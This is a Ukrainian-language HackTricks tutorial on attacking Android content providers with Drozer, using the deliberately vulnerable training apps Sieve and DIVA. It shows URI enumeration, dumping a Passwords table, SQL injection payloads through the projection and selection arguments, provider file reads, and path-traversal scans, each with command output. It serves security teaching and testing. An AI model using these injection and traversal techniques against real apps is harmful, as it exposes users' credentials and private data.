# Використання постачальників контенту ## Використання постачальників контенту {{#include ../../../banners/hacktricks-training.md}} ## Вступ Дані **постачаються з одного додатку до інших** за запитом компонента, відомого як **постачальник контенту**. Ці запити керуються через методи **ContentResolver class**. Постачальники контенту можуть зберігати свої дані в різних місцях, таких як **база даних**, **файли** або через **мережу**. У файлі _Manifest.xml_ декларація постачальника контенту є обов'язковою. Наприклад: ```xml ``` Щоб отримати доступ до `content://com.mwr.example.sieve.DBContentProvider/Keys`, необхідно мати дозвіл `READ_KEYS`. Цікаво відзначити, що шлях `/Keys/` доступний у наступному розділі, який не захищений через помилку розробника, який захистив `/Keys`, але оголосив `/Keys/`. **Можливо, ви зможете отримати доступ до приватних даних або експлуатувати якусь вразливість (SQL Injection або Path Traversal).** ## Отримати інформацію з **вразливих провайдерів контенту** ``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` Можливо зібрати інформацію про те, як дістатися до **DBContentProvider**, починаючи URI з “_content://_”. Цей підхід базується на висновках, отриманих під час використання Drozer, де ключова інформація знаходилася в _/Keys_ каталозі. Drozer може **вгадувати та пробувати кілька URI**: ``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` Вам також слід перевірити **код ContentProvider**, щоб знайти запити: ![](<../../../images/image (121) (1) (1) (1).png>) Також, якщо ви не можете знайти повні запити, ви можете **перевірити, які імена оголошені ContentProvider** у методі `onCreate`: ![](<../../../images/image (564).png>) Запит буде виглядати так: `content://name.of.package.class/declared_name` ## **Content Providers на основі бази даних** Ймовірно, більшість Content Providers використовуються як **інтерфейс** для **бази даних**. Тому, якщо ви можете отримати доступ до неї, ви зможете **витягувати, оновлювати, вставляти та видаляти** інформацію.\ Перевірте, чи можете ви **отримати доступ до чутливої інформації** або спробуйте змінити її, щоб **обійти механізми авторизації**. Перевіряючи код Content Provider, **погляньте** також на **функції**, названі як: _query, insert, update та delete_: ![](<../../../images/image (887).png>) ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) Оскільки ви зможете їх викликати ### Запит контенту ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` ### Вставити вміст Запитуючи базу даних, ви дізнаєтеся **назви стовпців**, тоді ви зможете вставити дані в БД: ![](<../../../images/image (98).png>) ![](<../../../images/image (173).png>) _Зверніть увагу, що при вставці та оновленні ви можете використовувати --string для позначення рядка, --double для позначення дійсного числа, --float, --integer, --long, --short, --boolean_ ### Оновити вміст Знаючи назви стовпців, ви також можете **модифікувати записи**: ![](<../../../images/image (780).png>) ### Видалити вміст ![](<../../../images/image (423).png>) ### **SQL Ін'єкція** Простий спосіб перевірити SQL ін'єкцію **(SQLite)** - це маніпулювати **проекцією** та **полями вибору**, які передаються постачальнику вмісту.\ При запиті до постачальника вмісту є 2 цікаві аргументи для пошуку інформації: _--selection_ та _--projection_: ![](<../../../images/image (784).png>) Ви можете спробувати **зловживати** цими **параметрами** для перевірки **SQL ін'єкцій**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` **Автоматичне виявлення SQL-ін'єкцій за допомогою Drozer** ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: android_metadata notes sqlite_sequence ``` ## **Content Providers, що підтримуються файловою системою** Content providers також можуть бути використані для **доступу до файлів:** ![](<../../../images/image (407).png>) ### Читати **файл** Ви можете читати файли з Content Provider ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Перехід по шляху** Якщо ви можете отримати доступ до файлів, ви можете спробувати зловживати Перехідом по шляху (в цьому випадку це не є необхідним, але ви можете спробувати використовувати "_../_" та подібні трюки). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` **Автоматичне виявлення обходу шляху за допомогою Drozer** ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` ## Посилання - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf) {{#include ../../../banners/hacktricks-training.md}}